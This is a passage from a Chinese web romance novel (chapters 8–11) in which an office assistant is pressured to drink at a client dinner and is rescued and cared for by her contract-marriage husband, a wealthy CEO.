沈词心里装着事,没听见Chloe说的话。楼层到了,她朝Chloe抱歉地笑了笑,说,“该上班了,拜拜。”
Chloe深深地望着沈词离开的背影,不知道在想些什么。
沈词在工位上坐了一会儿,楼下买的咖啡都没来得及喝就被许畅叫去了办公室。
“许总,你找我。”
许畅上下打量她两眼,说:“晚上我们要招待欧洲来的客户,你跟着一起来。”
“好的,许总。”
今天一整天的坏心情都从领导这句话开始。
“这次来参观的都是对公司很重要的大客户,你一个女孩子到时候机灵点,该倒茶倒茶该敬酒敬酒,听见了吗?”
许畅不耐烦地补充。
“好的。”
“行了出去吧。”
见沈词来来回回就是那两句话,许畅摆摆手打发她走。
沈词回来坐着,她隔壁工位的Lucas凑过来小声说:“Mia,许总是不是说今晚的饭局叫你一起去?”
“是的。”
她无精打采地点头。
作为运营助理,她日常工作大多都是分析数据,整理文档以及翻译等等这种文员活计,并不直接接触核心客户和业务,也不知道许畅叫她去酒局干什么。
她甚至不能喝酒。
“我觉得吧,估计是因为你前段时间出给客户的那份文档做的不错,客户点名表扬你了,还说希望来中国的时候有机会能和你见面,许总这才把你也带上了。”
Lucas分析一通,感到奇怪,“咦,这件事许总没跟你提吗?我记得线上会议那会儿客户特地说了的,说一定要表扬出文档的人。”
“没有,业务后续邮件也没有再抄送我了。”
沈词记得这件事,当时客户要文档要得急,负责这项数据的客户经理又在外地出差联系不上人,许畅不得不临时留她在公司,那天晚上她加班到快十一点才离开。但是文档提交之后,许畅没给她任何反馈,她还以为客户对文件不满意,许畅懒得搭理她。
这么看来……许畅多半是又把她的临场救急当成了理所应当。
“嗨,也不是什么大事,反正你知道晚上来的客户是谁就行。”
Lucas八卦两句,坐回去做自己的事情。
沈词看了一会儿邮件,不由得有些发愁。她酒量很差,说一杯就倒也不为过。她得想个办法少喝点,以免被灌醉了都没人送自己回家。
中午在餐厅吃完午饭,沈词收到了宴舟的短信。
宴舟:「你还缺什么东西吗?有需要的告诉我,我让助理安排。」
沈词:「不用啦!给你家人的礼物我都准备好了,保证到时候不会出一点岔子。」
万事俱备只欠东风,为了如约赴宴,她还在系统内提交了2个小时的休假,等到周五就可以提前下班。这样不仅有充足的时间调整状态,还能避免许畅临时给她加活。
宴舟:「我问的不是晚宴。」
宴舟:「沈词,我问的是你。」
沈词握着手机,逐渐呆滞。
沈词:「我……我也没什么要买的。再说了你不是给了我两张卡吗?卡里面那么多钱,就算真有需要我肯定会自己买的。」
她这是嫌他管太多?
身在总裁办公室的宴舟面若冰霜,连带着周围的气温都下降了好几个度。
宴舟:「知道了。
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」
他手边放着刘诚递交上来的房产资料,刘诚按照宴舟那晚的要求选了总共4套合适的大平层,就等宴舟拿主意。
宴舟睨了眼那个黑色的文件夹,神色一凛,把它随手丢进了垃圾桶。
祁屿岸:「晚上7点,宴舟你别想放本少爷鸽子。」
宴舟:「啰嗦。」
祁屿岸头顶缓缓冒出来一个:“?”
他这三天就只发了这么一条消息,怎么就啰嗦了?
有人吃炸药啦?
京市的夜看上去比白天更加璀璨夺目,这个点儿既是普通上班族堵在高架桥上的常规操作,但同样的也有人在五星级酒店的包厢一掷万金。金钱如流水,又如过眼云烟,有些人仅仅是稍微漏一下指缝,就能花掉一个家庭一年的开销。
沈词此时待在包厢里,整个人如坐针毡。
许畅正操着一口NL不分的蹩脚英语,端着茶杯与浓眉大眼的客户假笑。一层又一层的褶子堆在许畅眼角,他每说一个单词,她的痛苦便会增多一分。
她痛恨自己竟然听得懂英语。
“Mia,过来敬客户一杯。”
见沈词站在角落一言不发,许畅的脸立即拉了下来,不悦地命令道。
“许总。”
“这种时候你喝什么茶?陪客户当然是要喝酒。”
“Lucas,给她找个空杯子倒酒。”
许畅一边吩咐,一边还不忘记对客户露出和善的笑容,“Yeah, this is Mr. Mia, our translator and you must know her.”
“许总我喝不了酒,我来之前就和您说过的……”
沈词面色微变,这几位外国客户一个比一个酒量好,一旦开了这个口子,今晚势必不能善罢甘休。
“不能喝也得喝,你难道不知道拒绝客户是很不礼貌的事情?更何况客户远道而来,还点名要见你,难道你要当众让大家难堪?”
许畅把倒好的酒塞给沈词,同时将她推到客户面前。
“Hi Mia, I''m Alexander, Nice to meet you.”
Alexander晃了晃杯中的透明液体,友好地和沈词碰了一下。
沈词定了定心神,勉强笑着,“Nice to meet you too, Alexander, wee to China and also wee to Shinystar.”
Alexander一饮而尽,但她只象征性抿了口。
“Andrew, may i sit next to the Mia?We want to talk more with her.”
“Of course, please.”
许畅对客户笑着,转过来时却瞪了沈词两眼。
用餐期间,Alexander不断地以各种名义劝沈词喝酒,还说拒绝对方请求在欧洲很粗鲁且不礼貌的行为。
没过多久,沈词就觉得自己脑袋晕乎乎的,脸颊还有点热,遂找借口去了趟卫生间。
沈词走得跌跌撞撞,面上尽是痛苦之色。绕过走廊时,有个身形修长的帅哥忍不住多看了她两眼。
祁屿岸回到包厢,皮鞋搭在一边的空椅子上,懒洋洋地说:“啧,刚在路上碰见一个小姑娘,看那可怜的样子八成又是被哪个老板看上想要灌醉潜规则她了。”
“不说这个了,叫服务员上菜吧,小爷我都饿了。”
9. Chapter 9
沈词出来还不到十分钟,许畅就在发微信催她赶紧回去,语气极其不耐烦,还夹杂着一点威胁在其中。
许畅:「你怎么出去那么长时间?客户都在等你呢!」
许畅:「来之前就跟你说过让你放机灵点,这可是公司的重点大客户,要是因为你丢了这单子,损失你赔不起!」
沈词握着手机,她单薄的身子微微颤抖,指尖都因为用力而有些泛白。她抬起头,洗手台前的镜子映出她慌乱无助的脸,被客户劝着灌下去的那些酒精在她胃里不断地灼烧翻滚,像是要把她脆弱的胃烫出生猛的洞孔。
她嘴唇发白发干,大半张脸都透着不自然的红。
沈词极少喝酒,即便是喝酒,也只会在特定的场合象征性地喝两口以示礼仪。
度数精纯的白酒对她来说威力还是太大了。
她勉强靠在洗手前台,没有回复许畅的消息。
又过了两分钟,许畅开始给她打电话,一通接着一通,她不接就一直打。
沈词痛苦地咬着唇,脑袋越来越晕,深知自己是不可能再回去接着喝了,再喝下去别说是丢工作,连小命都保不住。
但是以她现在这种走两步就摇晃不止的状态,她也没办法一个人平安回到家。
她在京市没有朋友。
没有一个能毅然决然赶来救她于水火的朋友。
就在可以说是万念俱灰的时候,她陡然想到了一个名字。
沈词强撑着站起来,她翻开联系人列表,看到最顶部“宴舟”那两个字,她定了定心神,拨通宴舟的手机号。
或许只有宴舟能帮她了。
电话接通,宴舟低沉的嗓音透过听筒传过来,宛如天籁:“什么事?”
沈词哆哆嗦嗦地张开唇,说:“宴舟,你能不能帮帮我……”
他听出女孩声线里蕴含的颤抖和害怕,神色一凛,“地址给我,我去接你。”
沈词一怔。
她都还没有告诉他发生了什么事,又为什么需要他,他竟然什么都不问就愿意帮她么?
宴舟:“沈词,你还在听吗?”
本来在好好地吃饭,祁屿岸见宴舟突然拿起西装外套,一副随时要走的架势,他顿时不干了:“吃饭吃一半就要走,宴总这是又遇到了什么紧急情况?”
宴舟懒得搭理他,全神贯注地留意电话那端沈词的动态。
沈词掐住自己的手掌,以此来对抗高浓度酒精带来的头晕目眩。
“我在西城饭庄,陪老板应酬被逼着喝了些酒……”
她哆哆嗦嗦地简单说明情况。
宴舟此刻也在西城饭庄。
等等,刚才祁屿岸那家伙说的那个看上去很可能被潜规则的女孩该不会就是她?
宴舟面若寒霜,冷着脸问:“你在四楼的包厢吃饭?”
“你怎么知道?”
“你这会儿在哪儿?我过去找你。”
“我就躲在四楼的洗手间,领导一直在打电话催我,我没接。”
“知道了,我马上过来。”
宴舟披上西装,毫不犹豫就向外走。
祁屿岸追着他的背影,喊他:“嘿宴总你说走就走你知不知道这是小爷我的接风宴……”
“咦,你来上卫生间啊?”
看到宴舟在洗手间门口停住脚步,祁屿岸尴尬地抓了抓头发,他还以为这家伙不厚道,一个电话就要半场离开呢。
谁知宴舟站在洗手间外,并没有要进去的迹象。
“沈词。”
“你在里面吗?”
他唤她的名字。
里面的沈词听到宴舟声音的时候,一度以为自己喝多了酒出现了幻觉。她一分钟前才给宴舟打的求助电话,他怎么可能会在这么短的时间就出现在她面前?
他又没有瞬移的超能力。
「出来吧,我就在外面。」
就在这时,她手机也跟着震动了,点开一看发现正是宴舟发来的消息。
沈词稀里糊涂的脑袋蓦地激灵一晌,她赶忙往外跑。
宴舟果真就在门口站着。
他皱着眉深深地凝视她,似是不明白为什么会有人能把自己弄得这么狼狈。
“这不是刚刚那个看上去很惨的小姑娘吗?宴舟,你认识她啊。”
能来西城饭庄用晚宴的年轻女孩,要么是本身家里就有钱,要么是陪同别人参加重要的饭局。但是在这种场合喝很多酒还把自己搞的一团糟的,往往都是后者,并且多半是被逼无奈。
因此祁屿岸方才出来撞见沈词,这才抱着同情的心态多看了她两眼。
沈词晕眩不已,明显已经有点站不稳当了。
宴舟适时扶住她,顿了两秒,干脆改为环住沈词纤细的腰,顺带让她的脑袋倚在自己肩头,身体的重量都靠在他这边。
“我先带你回去。”
与此同时,宴舟空着的另外一只手拿出手机给候在外面的刘诚打电话:“现在回君御湾,安排家庭医生上门。”
“收到宴总。”
刘诚接到命令,立即去做。
祁屿岸目瞪口呆,眼睁睁看着宴舟将这个自己从未见过的女孩子抱回包厢。
“宴,宴学长……幸好你也在这儿。”
身边终于有了熟悉的人,沈词的精神和心理状态没那么紧绷了。还好今晚宴舟也在西城饭庄,否则她真的不知道该怎么办才好。
“不会喝酒就别喝,别人还能硬灌?”
宴舟没好气地说。
他拨开女孩黏在脸上的发丝,露出她红通通的脸蛋。宴舟凑近了,盯着她的面庞和瞳孔仔细观察着,好一会儿才松开对她的钳制。
不知道为什么,沈词感觉自己的心率飙升的比酒精上头还要过分,胸腔内那颗炽热的心卯足了劲儿在不断撞击,连带着她的脑袋都有些发懵。
被宴舟单手捏住下巴的时候,她一动也不敢动。
直至宴舟放开她,恢复正常的社交距离,她才觉得有了喘息的机会。
“表面看上去只是喝多了上头,没有酒精中毒的迹象。”
宴舟扫她一眼,淡淡地开口。
“哦……”
沈词蜷缩在椅子上,她抱住膝盖,低着头一言不发,安静又乖巧。
就和自知闯了祸不敢和宴舟撒娇的粥粥一模一样。
这样想着,宴舟心里的气不自觉消了一点。
一时之间谁也不说话,偌大的包厢像极了沉静的湖水,静得能够听见对方的呼吸。
“我说你们二位不打算和我解释一下吗?”
莫名其妙被自动排除在外的祁屿岸按捺不住想要八卦的念头,他嘴角噙着笑,“我说宴总,就算你是协议结婚,但是身为人夫你该守的底线还是要守的吧。和一个陌生女孩子拉拉扯扯算什么?你总不能看人家姑娘长得漂亮就临时见色起意。”
祁屿岸说着,他摇了摇头,作出痛心疾首的模样,“没想到我才出国一年,你就变成了这样的宴舟,果然是花花世界迷人眼,哎。”
“吵死了。”
宴舟面无表情地吐出四个字。
“什么吵?小爷我这叫伸张正义!”
祁屿岸不甘示弱地瞪回去。
然而宴舟用看傻子一样的目光看着他,“你口中这个惨兮兮的女孩叫沈词,她就是我的结婚对象。”
沈词闻言,她把脑袋埋得更低了些,不敢去看他们的表情。
“……”
祁屿岸自觉给自己的嘴巴拉上拉链,朝宴舟比了个“OK”的手势。
宴舟的视线再度回到沈词身上,他薄薄的嘴唇抿成一条笔直的线,下颌角清
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晰又流畅,只是此时他狭长的眸子中映着说不上来的冰冷,让人难以忽视他的威严。
“你是打算把自己闷死在这儿?”
他眉毛一挑,问,“说吧,今天晚上到底怎么回事?”
“哦……对不起。”
沈词慢慢地抬起脑袋,怯生生的。
宴舟递给她一杯温水,“先润润嗓子。”
“嗯,谢谢。”
她喝了两口便把玻璃杯放回桌上,想逃避宴舟审视的目光,却又发觉自己无处可逃,只好鼓起勇气把今晚发生的事情都说了。
“我靠!”
祁屿岸愤怒地拍案而起,“这些老外在他们自己地盘玩的花也就算了,在我们这里竟然还敢这么大胆?!是不是觉得自己是外宾我们就奈何不了他们?”
他本来就是剑桥大学毕业的精英律师,精通英美法系,也清楚这些外国佬有多会钻法律空子。
“你那公司叫什么……凡星科技?我好像有点印象。应该不是小公司了吧,最起码也得是个中厂,这体量也敢搞强压人这一套,不怕股市崩盘啊?”
沈词点头,“嗯,凡星科技应该算同领域大厂了,每年都会招很多毕业生,它也是清大的校招合作企业之一。”
嗡——嗡——
她手机一直在震动。
许畅还在给她打电话。
她这么长时间不回去,许畅早就在微信上大发雷霆,还给她下了“最后通牒”。
宴舟手伸过来,直接把她手机关机了,这下耳朵彻底清净。
他看着沈词白里透红的脸,拧着眉说:“为什么不早点打电话给我?”
她被他的气势震慑到了,小身板抖了抖,才小声回答:“我没想到会发展成这样。部门的同事说这个客户平时人不错,因为对我前段时间的工作很满意才特别提出想要见我。我在来之前就说明了自己不能喝酒,但是……”
“但是既然上了饭桌,就身不由己了。”
祁屿岸长叹一口气,“她才工作一年,就一涉世未深的小姑娘,哪里懂酒局上的弯弯绕绕。宴总这么凶干什么?这可是你老婆,你就不怕吓着人家?”
宴舟冷着脸没说话,瞧上去心情很差的样子。
沈词咬了咬唇,小心翼翼地说:“对不起,给学长你添麻烦了。”
“学—长—”
祁屿岸站在一边,刻意拿捏着强调讲话,不出意外获得宴舟的冷眼。
“先回家再说。”
宴舟看沈词的状态稍微恢复过来了一点,他站起身说道。
“哦,好。”
她心知自己今晚给宴舟带来了麻烦,还扰了他和朋友聚会的兴致,因此沈词低着脑袋,宴舟说什么就是什么。
“学长你……”
她手掌撑着圆桌边缘准备自己站起来,谁知还没怎么用力,下一秒就被宴舟打横抱了起来,稳稳地圈在他怀中。
是很亲密的公主抱姿势,她酡红的脸几乎快要贴上宴舟坚实的胸膛,与他衣衫之下隐秘的凸起零距离接触。
沈词僵在他怀里,像是被人点了穴位,此刻一动也不敢动。
“其实我自己能走的……”
她说这句话的时候,脸红的能滴血,滚烫的额头沁出丝丝薄汗,辨不清是出于紧张还是害羞。
“抱紧了,掉下来我可不负责。”
宴舟瞥了眼怀中的女孩,话虽然这么说,可他结实有力的手臂却悄然收紧,把人往自己胸前又带了带。
“哦好……”
沈词扒着宴舟的肩膀,为了不给他增加更多的额外负担,因此她在保持悬挂姿势的同时,自己也稍稍使了点力,企图让宴舟更轻松一些。
然而她才微微动了一下,就感觉到柔软的腹部似乎抵到了什么东西,一个又硬又硌的,不属于她的物什。
10. Chapter 10
待到沈词意识过来自己贴上了宴舟身体的哪一个地方时,连纤细白皙的脖子都跟着一起红透了。她干脆埋头藏进宴舟的西装,努力降低存在感。
宴舟深吸一口气,迫使自己冷静下来。
他恢复那副不可一世的厌世脸,抱着沈词来到西城饭庄楼下,彼时刘诚已经在门口等候多时了。
“宴总。”
刘诚赶忙为宴舟扶着劳斯莱斯的车门,看到宴舟动作轻柔地放下沈词,又耐心地为沈词系好安全带,最后才坐在她身边。
——老板真是越来越有人夫感了。
看老板这熟稔的样子,私下绝对没少哄女朋友,一定是他发给老板的那本《哄女朋友独家手册》起了作用。
刘诚喜滋滋地想。
“愣着干什么?”
余光瞧见助理神秘莫测的笑容,宴舟不悦地蹙眉。
“对不起宴总。”
刘诚咳了一声,灰溜溜地坐上副驾驶,“宴总,李医生已经在君御湾了。”
“嗯。”
宴舟要和沈词一起回君御湾,祁屿岸才没有那闲心去给小情侣当电灯泡,更何况后天的晚宴还会再见面。因此祁屿岸扬手打了个招呼,开着自己的保时捷扬长而去,车尾气都留给秀恩爱的劳斯莱斯。
“为什么是去君御湾?其实这里离云锡花园还挺近的,你完全可以送我回家。”
车开出有一段距离了,沈词才后知后觉地问。
“我不认为你现在还有生活自理的能力,更何况醉鬼就要有身为醉鬼的自觉,我可不想有人再半夜打电话给我哭着说自己头疼。”
宴舟抬了抬眼皮,说。
“……我就是平常不太喝酒,酒量不好,休息一会儿就没事了。”
她被他堵得哑口无言,小声辩驳。
“哦,那你刚才那副样子,我还以为你快要不行了。”
“好吧,我听你的。”
沈词脑袋偏过去,假装在欣赏倒退的街景。与平常别无二致的车水马龙,但是坐在网约车上欣赏和坐在劳斯莱斯后座向外看,人的心境大有不同。
只可惜她此刻无暇顾及其它,眼下她满脑子都是宴舟身上独特的气息,那种清冽的香气,闻上去是沁人心脾的清爽,尾调又透着些许木质的厚重,表面还停留着雨后清露的芬芳,约莫是雪松的味道,就是不知宴舟用的是哪一个牌子的雪松香。
他平日里应该很注重个人形象管理吧,看上去永远那么不慌不忙,优雅从容,就没见过他失控的时候。反倒是她,一而再再而三给他添麻烦,最后都得拜托他来解决问题。
说好协议结婚互不相干,她为什么就不能让他省点心呢。
沈词不由得有些埋怨自己。
宴舟自是猜不到沈词内心的百转千回,精神放松的瞬间,一股浓浓的疲惫也跟着席卷而来。西城饭庄距离君御湾还有一段车程,这个点又是京市堵车的高峰期,因此宴舟不再说话,干脆闭上眼休息。
刘诚偷偷看向后视镜,发现老板和夫人两个人之间的距离有马里亚纳海沟那么远,而且他们看的是不同的方向,宛如吵了架谁也不愿意搭理谁的小情侣。
刘诚不禁感到痛心疾首。
好不容易缓和的关系,怎么一下子又倒退回原点了呢?
车上也没发生什么特别的事情啊。
深秋的气温已经降到了相对较低的数字,寒风刮在脸上像是钝刀子割肉一样生生的疼,车内暖气开得很足,再加上沈词酒精那股晕乎乎的劲儿还没彻底过去,没多久她也跟着睡着了。
而等她再醒来的时候,已经在宴舟家里了。
沈词对这间卧室并不陌生,每逢宴舟爷爷临时检查,宴舟就会把她接过来住,伪装成亲密夫妻,以此来让老爷子安心。
“别动。”
沈词坐起身,想要去卫生间洗把脸清醒一下。然而她才掀开被子的衣角,就听见宴舟嗓音清冷的提示。
“水还没挂完。”
“哦,好的。”
沈词这才注意到自己左手背上扎的点滴,她抬眸望了眼,里面的液体大约还剩三分之一,估计还得二十多分钟才能输完。
她兀自躺了回去,心想这是晕得有多沉,连医生扎针都全然没有感知到。
况且既然她昏睡过去,那又是怎么从车上回到卧室的?该不会又是宴舟全程抱回来的吧……
沈词猛地低头一看,果真身上的衣服也换了,换成宴舟此前特地为她备的家居服。
见她神色飘忽不定,又有些欲言又止的样子,宴舟不用猜都知道她此刻在想什么。
他走到沈词床前坐下,递给她刚温好的牛奶,说:“睡衣是张姨给你换的。”
张姨是在君御湾做工的老人了,和吴叔一块儿负责宴舟的日常起居,以及在宴舟上班不在家的时候,两位还要帮忙照顾粥粥。
他们都认识沈词,也清楚两个人的关系,但绝对不会在任何人面前嚼舌根。这也是为什么君御湾的佣人换了一批又一批,唯有张姨和吴叔被宴舟留了下来。
“嗯……”
沈词抿了抿干燥的嘴唇,抱着玻璃杯小口小口地喝着牛奶。
“怎么,怕我趁机占你便宜?”
宴舟低低笑了一声,那笑声格外耐人寻味,听得沈词脸烧得慌。
“我没有。”
她躲不开他炽热的视线,声音听上去有气无力。
她今晚在宴舟面前出了太多糗,越想越觉得尴尬不已,恨不得能立刻消失在他眼前,躲回自己那无人惊扰的蜗居。
“喵——”
粥粥从卧室门缝溜进来,它看见漂亮姐姐就两眼放光,撒欢儿一样灵巧地跃上床,嗷嗷叫着就要往沈词被窝里钻。
可惜没成功。
粥粥在贴近沈词的前一秒被宴舟无情地揪住了后脖颈,宴舟把小家伙拎回来,摁着脑袋让它在自己腿上老实待着。
“喵——喵——”
粥粥很不服气,它一边夹着嗓子嗷嗷叫,一边四条小短腿都在奋力挣扎,企图挣脱主人的桎梏。
“没看见她是病号?”
“安分点,别老想着给我捣乱。”
宴舟睨它一眼,警告道。
“喵呜。”
粥粥见反抗无效,它顿时熄了火,安分地卧在宴舟腿间,无聊地翘了翘尾巴。
“粥粥真的很可爱。”
小家伙碧绿的眼眸滴溜溜转来转去
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,还时不时盯着她看,她被这只小家伙萌的心都快化了。都说蓝金渐层生性乖巧,粥粥被宴舟养得像公主,漂亮又迷人。
“你和它差不多。”
宴舟抚摸了两下小猫的脑袋,话却是对着她说的。
“……”
沈词不好意思地低下头。
她意识到了一件很糟糕的事情:她似乎很容易在宴舟面前害羞,轻而易举就能被他撩到失魂。
或许是因为她对宴舟本来就有“非分之想”,所以说者无心听者有意,有些话看似平平无奇,可是从宴舟口中说出来,再经过她大脑自动加工,就会变得令人浮想联翩。
“实在对不起,今晚……”
“打住。”
宴舟抬手制止她,“沈词,同样的话你还打算说多少遍?”
“现阶段我们依然是夫妻关系,作为你的丈夫,我自然有责任和义务保证你的安全,包括人身安全和心理安全。我不希望在日后的相处中总是听见你一遍又一遍说对不起,更何况你根本不需要为此感到抱歉,我这样说你可以明白吗?”
他这是……生气了吗?
还是为她的胆小怯懦感到不耐烦。
“我会记得的。”
被窝里面,沈词使劲掐了下自己的大腿,让嗓音尽可能不那么沙哑,“很高兴能遇见你,学长。”
这并非他第一次拯救她。
可能他早已不记得当年无意识的善举,不过没关系,只要她不会忘就可以了。
他是能为她带来安全感的存在,无论何时,无论何地。
“爷爷的电话。”
手机铃响,宴舟意外挑了挑眉,“正好我们在一起,你和爷爷聊聊天,也避免他想东想西。”
宴舟的爷爷宴呈是典型的上位者面相,即便他年纪大了,却也依稀能从花白的鬓角看出老爷子年轻时杀伐果断的霸气。
京市的这些豪门世家,无论是和宴家一样有着超过上百年基业的家族,又或者是年轻一辈但后来居上资历较浅的暴发户,这些人见到老爷子都会礼让三分,敬他一些薄面。
因此之前宴老爷子第一次“查岗”那会儿,沈词战战兢兢的,大气都不敢出一个。然而等她真正见到老爷子,意外发现他竟然出奇的和善,很好相处,就和经常在小区花坛坐着晒太阳的普通老人一样慈眉善目。
“爷爷。”
沈词举着宴舟的手机,乖巧地唤了一声。
“臭——诶我的乖孙媳妇,是你呀,我还以为是宴舟那臭小子呢。”
老爷子这时候打电话原本是打算训斥宴舟的,话到嘴边,转眼一看竟是不常见到的孙媳妇接电话,他立刻换了一副口吻,乐呵呵地说道。
而且小姑娘拿着的是自家臭小子的手机,说明两个人肯定在一起。这会儿都晚上十点多了,早就到了睡觉休息的时间,小姑娘躺在床上盖着被子,脸蛋看上去还有点迷糊,透着不正经的绯红。
老爷子越想心里越舒坦。
宴舟那小子总算做对了件正事。
沈词当然不知道自己只是躺在床上接了个电话,视频那端的老爷子就自动脑补了这么多戏。她微微调整一下视频角度,避免手背上的点滴一起入镜。
11. Chapter 11
“爷爷最近身体怎么样?都还好吗?”
“放心吧,老爷子我身体硬朗着呢,肯定能活到我亲重孙出生的时候。话说回来,你和阿舟什么时候能让我抱上重孙?”
老爷子眯起眼睛,笑眯眯地问。
“咳咳——”
她一个没注意,不小心被口水呛住。
宴舟扶住她单薄的肩膀,端起床头柜上的牛奶递给她。
在意识到沈词并不能空出手来接的时候,他径直将玻璃杯的边缘贴在她的唇,示意她顺着自己的手就这么喝。
“嗯?”
宴舟抬了抬眉,像是在问她还愣着做什么。
视频还在接通中,屏幕那端的老爷子咧着嘴,一脸兴奋。
沈词垂下眼,反正她也没有别的选择,只好就着这个姿势喝牛奶。说不上来是不是宴舟举杯子的手不太对劲,她感觉不仅喝到了牛奶,她的唇似乎还碰到了他的手指,略微有些凉意。
而宴舟放下玻璃杯之后,他的目光停留在自己右手大拇指,多看了两眼。
方才她的嘴唇真真切切亲到了这里,触感不错,就是不知道真正亲起来是什么样的。
这样荒唐的念头一闪而过,他的注意力重新回到沈词身上。
晚上发生了太多事情,直到现在他才看见原来她也戴了婚戒。
他记得前几次见面,她的手指还光秃秃的。
想到这儿,宴舟抬手转了转无名指的钻戒,目光深沉。
“小词啊,后天晚上爷爷生日,你会来吧?”
前几次家族聚会,他三令五申让宴舟带小姑娘一起,那臭小子不是说她忙,就说人在外地赶不回来,总之百般推辞就是不让他见自己的孙媳妇。
他都忍不住怀疑这夫妻俩是不是闹矛盾,逼得孙媳妇收拾东西跑路了。
“那是自然,爷爷您生日我肯定按时到场。”
“好好好,那就好。”
老爷子松了口气,他,“既然你和阿舟相处得不错,我就不打扰你们小两口夫妻恩爱了。要是阿舟欺负你,你放心大胆地和爷爷说,爷爷肯定给你撑腰。”
“我会的爷爷。不过爷爷,宴……宴舟他是很好的人,他没有欺负我,我们过得很好。”
“他最好是。”
老爷子哼了一口气,翻了个幅度不大的白眼,语气满满的都是嫌弃。
“那行,那你们先忙,咱们后天见。”
“爷爷您保重身体,宴舟他……”
沈词把手机还给宴舟,想着他应该也有话要和老爷子说。谁知镜头一转,屏幕居然径直黑了,显示通话已结束。
沈词:“……”
宴舟倒是无所谓,他收回手机,对某位爷爷“重女轻男”的行为见怪不怪。
这时他站了起来,腿上的粥粥趁机跑出卧室,沈词就以为他也要走。
未曾想宴舟不仅没有离开,反而更逼近她。他忽然弯下腰,大片的阴影蓦地笼罩住她,她此刻只看得见宴舟的宽肩窄腰,呼吸都被那股冷冽的雪松香霸占。
宴舟那双凌厉的眸子紧紧锁定了她,薄唇没有一点弧度。
“你……你干什么?”
她刚才在爷爷面前说错话了吗?否则他为什么突然这么看着自己。
他仍旧牢牢盯着她,视线没有半分松动。
若是他再靠近一点,沈词怀疑自己会忍不住做点什么。
比如摸他有型的腹肌轮廓,又或者是轻抚他性感的喉结。
“咕咚——咕咚——”
她的心跳得格外快,掌心又在出汗。
“准备给你拔针而已,你紧张什么?”
宴舟单手摁住她泛着青色血管的手背,轻松地取出针头,将医疗垃圾丢在早就备好的垃圾桶里。
“……哦。”
原来是水挂完了。
还以为拙劣的把戏被他拆穿,他准备找自己算账。
“做的不错,后天晚上继续保持。”
“嗯,好。”
沈词喃喃道。
宴舟关门之前,他回头看了眼床上的她,说:“凡星科技那边你不用担心,会有人摆平。”
“知道了。”她咬了下唇,“那学长晚安。”
“晚安。”
宴舟离开卧室以后,沈词并没有立即入睡,实际上她此刻大脑还很活跃,就像是迎来了第二春一样,根本冷静不下来。
当初和他结婚,两个人约定好彼此互不打扰,她那时以为宴舟的意思是“不到万不得已最好不要联系他”,可是最近发生的这些事情,每一桩每一件都在和他们的承诺背道而驰。
就连她对宴舟的称呼,也从起初的“宴先生”不知不觉变成了“宴学长”。况且从他的表现来看,他似乎更愿意她直呼其名。
宴、舟。
刻板生硬的大名从“心怀鬼胎”的人口中说出来,会不自觉变了味,听上去暧昧无比。
她对他从来都有所图,但她从来都不敢让他知道自己有所图。
沈词钻进被窝裹住脑袋,她长长地叹了口气,闭上眼睛试图睡觉。
-
翌日。
沈词醒过来的时候还以为在自己家里,直至她完全睁开迷离的眼睛,看清楚卧室内陌生的装潢,沁人心脾的熏香唤醒她的思绪,她这才陡然瞪大眼睛,意识到坏事了。
她拿出平生最快的速度进卫生间洗漱化妆,君御湾的客房备有崭新的日常用品,这为沈词节省了很多时间。
然而当她穿着家居服出来,她想起来昨晚宴舟说是张姨给她换的贴身衣物。
张姨并没有说把衣服放到了哪里,沈词翻遍卧室的每一个角落都没有找到自己的衣服,包括淋浴间也没有。
“张姨,张姨?”
沈词试着唤了两声,门外并没有人应答。
清晨这个点儿,君御湾的佣人们恐怕都在服侍宴舟吃早餐。
她撇撇嘴,认命般回到床上,靠着床头给宴舟发消息:「宴学长,你能帮我问问张姨把我的衣服放到哪里去了吗?我找不到衣服了。」
沈词原以为宴舟要忙完才能看到自己的消息,没想到他的回复来得比想象中快很多。
宴舟:「张姨说你的衣服拿去洗了,还没干。衣柜里那么多衣服,都是按照你的身材定制的,不能随便挑两件将就着穿?」
宴舟:「还有,说了多少遍要叫我的名字。难道你想明天晚上让所有人都知道我们夫妻不熟?」
沈词:「好吧,我会注意的。」
只是……
她光着脚下床,来到他所说的衣柜面前,深吸一口气打开它,然后对着数十件奢侈品长吁短叹
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。
这些衣服里面随便选一套,价值够得上她领导一年的薪水。
但她已经别无选择了,只好挑了一身品牌logo没那么明显的衣服。
奶白的羊绒大衣配浅蓝色直筒牛仔裤,脚上是一双褐色的金属扣麂皮靴子,这几乎是通勤路上最常见的上班族穿搭,应该不会那么惹人注意……吧。
沈词换好衣服后就下楼了,她下来的时候宴舟正坐在沙发上金融杂志,粥粥团成一团趴在他脚边的毛绒拖鞋上打滚。
京市初冬的清晨虽然算不上艳阳高照,但也时常有几点稀缺的阳光愿意跃出云层,有一缕金色恰巧投射在宴舟的额发前,将他英挺的眉骨轮廓衬得更加迷人。
宴舟静静地坐在那处,虽是慵懒休闲的姿势,却也无不透着从容优雅。他挺拔的身姿好像一副永世流传的世界名画,只瞧一眼便知是无价之宝,只可远观。
“早餐在桌上,吃完一起去上班。”
宴舟不咸不淡地说。
“可是快迟到了……”
沈词站在楼梯口,她承认桌上的那些美味佳肴的确很诱人,并且空空如也的胃已然向她发出抗议,但她不敢再耽搁下去。
她到现在都没有勇气点开和许畅的对话框。
今天去公司,恐怕会被领导骂得狗血喷头。
“坐下来吃饭。”
宴舟放下杂志,他平静地朝她望过来,明明没有生气,可他身上那股不怒自威的气势到底吓到了沈词。
“……哦,好。”
沈词发现自己总是会习惯性遵照宴舟的命令去做,这一次也不例外。
何况反正她昨天晚上已经把许畅和客户彻底得罪狠了,以许畅睚眦必报的小心眼,即便她补救的态度再好也无济于事,那还不如破罐子破摔,就这样吧。
这样想着,沈词蓦地感到肩上的担子轻松了许多,竟有些拨云见日的清明感。
餐桌上摆着十几种美食,从小笼包到贝果,从辣椒面到鱼子酱,还有像是黑松露鹅肝那种她只在电视中看到过的东西,中餐西餐应有尽有。而这样堪比普通人家年夜饭的一桌子菜,不过是宴舟家里最平凡的一顿早餐。
沈词一想到宴舟一顿饭能吃掉她一年的薪水,一时间悲愤不已,只好化悲痛为食欲,吃多了些。
她摸了摸满足的小肚子,将缠着她直蹭的小家伙抱起来,亲昵地用自己的鼻尖去触碰小猫的鼻尖。
“它倒是黏你。”
宴舟瞥了眼餐桌旁边玩耍的女孩和小猫,他悠悠地说了一句。
“说不定粥粥有话想和我说。”
沈词抱着粥粥,她简直爱不释手。长毛蓝金渐层的手感是真好啊,又黏人又贴心,可以说是当之无愧的梦中情猫。
